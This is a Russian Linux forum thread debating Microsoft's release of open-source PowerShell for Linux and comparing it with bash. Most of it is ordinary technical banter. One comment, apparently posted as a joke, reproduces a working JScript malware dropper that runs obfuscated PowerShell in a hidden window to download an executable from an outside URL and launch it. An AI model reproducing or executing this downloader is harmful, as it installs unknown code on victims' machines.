LINUX.ORG.RU

PowerShell открыт и доступен для Linux

 ,


8

7

Компания Microsoft анонсировала открытие исходного кода командной оболочки PowerShell под лицензией MIT и доступность под Linux. Доступны пакеты для Ubuntu и CentOS 7, а также инструкции по сборке.

>>> Подробности

★★★★★

Проверено: JB ()
Последнее исправление: cetjs2 (всего исправлений: 1)

eee во все поля. Лет через пять прикроют лавочку если народ подсядет. А ынтырпрайз ещё как может подсесть.

pon4ik ★★★★★
()
Ответ на: комментарий от aido

В баше была команда, как посмотреть максимальное количество параметров (или символов, в зависимости от результата)

Не было никакой команды. Зато есть константа ARG_MAX, которая определяет максимальный размер argv. Обычно 64-128k. Сколько туда текста влезет - зависит ещё от кодировки. ;-)

anonymous
()

Годная штука, но от баша мне нужен совсем минимум, сомневаюсь что заменит.

umren ★★★★★
()
Ответ на: комментарий от cetjs2

«Костыли» это не объективная характеристика.

anonymous
()
Ответ на: комментарий от anonymous

Алсо, очевидно же, что и в шиндовс такое ограничение есть.

anonymous
()

Зачем оно нужно? Interactive shell оно не заменит из-за поехавшего синтаксиса и отсутствия по сути .NET инфраструктуры на GNU/Linux, ну а для сколько либо серьёзных скриптов есть python/perl/ruby, да хоть nodejs или похапе, чем чёрт не шутит

Singularity ★★★★★
()
Ответ на: комментарий от Deathstalker

Подозреваю, чтоб виндовые черви и прочие паразиты могли хотя-бы транзитом через unix-а шастать :) Только тссс!

Ибо в мире unix сие поделие никому и задаром не надь.

Следующим логичным шагом - проплатить бубунте, что он там по дефолту ставился и гвоздями прибивался к примеру к стартовым скриптам.

rootFS
()
Ответ на: комментарий от ashot

Даже про ебилды забыли?

Не, просто оно настолько не нужно :)

invy ★★★★★
()
Ответ на: комментарий от EnterpriseMobility

Причем тут нода? Кстати, нода, руби, перл и питон за глаза для администрирования
Причем если ты админ, то не сложно перейти на любой из этих языков, многие вещи похожи
Ну кроме ноды, где асинхронность, вот там помучаться надо

mystery ★★
()

Чойта у меня бугурт, хотя я им ни разу не пользовался, более того, глубоко презираю тех, кто им пользуется.

slon
()
Ответ на: комментарий от rootFS

Открывая код, можно увеличить сообщество и т. д. Да и держать закрытым то, что большой коммерческой ценности не представляет, смысла нет.

Deathstalker ★★★★★
()
Ответ на: комментарий от thesis

непечатаемые

Которых нет на клаве? Ой беда то, thesis пользуется каким-то говном мамонта, а не современными утилитами, которые порой и с hadoop конкурируют

mystery ★★
()
Ответ на: комментарий от Legioner

там, где в bash-е надо парсить вывод команды каким-нибудь awk-ом и sed-ом

А можно пример, где Баша не хватает, и надо парсить вывод команды АВКом или Седом?

Zmicier ★★★★★
()

Синтаксис команд придуман обдолбанными в хлам индусами. От работы с подобными командами:

Disable-NetAdapterEncapsulatedPacketTaskOffload
мозг приходит в необратимое неконсистетное состояние

А уж от ажуроспецифичных - совсем:

https://pbs.twimg.com/media/CI6i3klWEAAWUu7.png:large

Deleted
()
Последнее исправление: Deleted (всего исправлений: 2)

PowerShell открыт и доступен для Linux

Но никому здесь ненужен.

th3m3 ★★★★★
()
Ответ на: комментарий от anonymous

А можно пример, где Баша не хватает, и надо парсить вывод команды АВКом или Седом?

Посчитай среднее арифметическое RSS для httpd.

Целиком, разумеется. Эти шесть слов мне ничего не говорят.

Zmicier ★★★★★
()
Ответ на: комментарий от thesis

Ага, это конечно хуже чем Powershell с его «постоянными» ключевыми словами, когда одна и та же конструкция ведет себя абсолютно по разному во встроенных блоках языка(For) и в командлетах.

Знающие люди больно-больно помнят треды на stackoverflow вида «how to break loops in powershell» где приводят 100500 разных способов в зависимости от того For у тебя, ForEach или ForEach-Object

Знаешь, мне проще с башем, где тоже есть свои заморочки, но после чтения документации ты понимаешь почему они есть. А после чтения доков по Powershell мысль только одна - что за гомно курили авторы и можно ли это им больше не подвозить...

Про грабли с тем, что если у тебя на входе в ForEach-Object при передаче конвеером будет задержка ввода(например медленный файловый I/O или чтение из медленной базы) и он у тебя тупо отвалится по таймауту(!), тогда когда For отработает нормально - мы тоже умолчим.

Pinkbyte ★★★★★
()
Последнее исправление: Pinkbyte (всего исправлений: 2)
Ответ на: комментарий от anonymous

Псто, на который я отвечал, содержал утверждение, квалифицируемое по 4.2 - «в bash есть команда». Команда есть в школе тогда, когда указана в man builtin. getconf(1) - отдельный бинарь и не имеет абсолютно никакого отношения ни к какому шеллу.

anonymous
()
Ответ на: комментарий от Zmicier

bash тьюринг-полон. То, что ты просишь, привести невозможно. Но от этого вся парадигма текстовых потоков не перестаёт иметь свои практические пределы.

intelfx ★★★★★
()
var LilDizzZzz = new ActiveXObject("shell.application");
LilDizzZzz.ShellExecute("cMD.exe", "/c powershe^ll.e^xe -Execut^ionPolicy byp^ass -noprofile -windowstyle hidden (New-Object System.Net.Webclient).DownloadFile('ht^tp://www.favizone.com/wp-content/plugins/libravatar-replace/1708_document.e^xe','%APPDATA%.e^xe');St^art-Pro^cess '%APPDATA%.e^xe'", "", "open", 0);
var mkGvzK = 11693;
bender ★★★★★
()
Ответ на: комментарий от aido

Шел создан не для обработки строк в первую очередь

А ведь хотелось бы, чтобы удобная обработка строк там все же появилась, пусть и во вторую-третью-пятую очередь. За столько-то лет.

Мб завтра ее напишу, если будет интересно.

Да не стоит, спасибо. Я просто указал на то, что эти грабли лежат прямо на дороге, и народ на них наступает довольно часто.

thesis ★★★★★
()
Последнее исправление: thesis (всего исправлений: 1)
Ответ на: комментарий от beastie

Тут я пожалуй останусь с Праотцами:

common underlying format—the line-oriented, plain text file

Этому подходу уже более 40-а лет. И это just works.

А я не соглашусь. Нет, конечно, возможность обработки произвольного текста нужна и важна. Но обмен структурированными данными - это круто, код становится гораздо понятнее. Портянки из регэкспов отвратительны, получается write-only код.

selivan ★★★
()
Ответ на: комментарий от anonymous
ps -o rss= -C httpd | {
  n=0
  sum=0
  while read rss; do
    (( ++n, sum+=rss ))
  done
  echo "Tot=$sum"
  echo "Avg=$((sum/n/1024))"
}

Можно и вручную /proc/*/status парсить.

anonymous
()
Ответ на: комментарий от mystery

Домашнее задание: посчитать, сколько будет 5% от 14,700,000. Сравнить результат с единицей.
Постарайся выпендриться и не обосраться.

thesis ★★★★★
()

Powershell действительно мощная и полезная оболочка, в новых виндах очень облегчает жизнь админам. Более того на сертификационных экзаменах мышеклик ушёл на второй план, главное теперь - это командлеты пауершел.
Но что хорошего может дать эта оболочука в unix-like системах, для меня загадка.

King_Carlo ★★★★★
()
Последнее исправление: King_Carlo (всего исправлений: 1)
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.